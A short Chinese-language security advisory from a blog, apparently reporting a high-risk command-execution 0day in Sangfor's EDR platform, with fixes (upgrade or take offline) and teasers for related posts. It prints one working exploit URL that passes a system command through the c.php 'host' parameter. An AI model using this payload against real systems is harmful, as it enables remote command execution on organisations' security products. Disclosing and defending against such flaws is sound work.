深信服EDR系统命令执行漏洞
风险等级
· 高风险
漏洞介绍
近日，我方监控发现网络上出现关于深信服 EDR终端检测响应平台存在0day漏洞消息，经过追踪调查确认该漏洞真实存在，建议客户尽快处置。
漏洞exp
https://ip+端口/tool/log/c.php?strip_slashes=system&host=id
修复建议
· 升级系统
· 下线产品
原创文章，作者：运营，如若转载，请注明出处：http://www.csxxaq.com/bug/1692.html
重生信安靶场迁移
« 上一篇 08-19
美军分析：朝鲜军事战术
下一篇 » 08-22
相关推荐
本文作者：NeGoo - 重生信息安全加载开启镜像,开整查看本机的IP地址段，然后进行扫描发现主机root@kali:~# nmap -p- -A -O...
漏洞概述containerd是行业标准的容器运行时，可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中，容器填充的A...
漏洞简介SolarWinds Orion API容易受到身份验证绕过的攻击，该漏洞可能允许远程攻击者执行API命令。漏洞描述该SolarWinds的猎户座...
FBI，DHS-CISA和国家情报局局长办公室（ODNI）在今天早些时候发布的联合声明中，首次正式确认了SolarWinds被黑事件后多个美国联邦网络的妥...
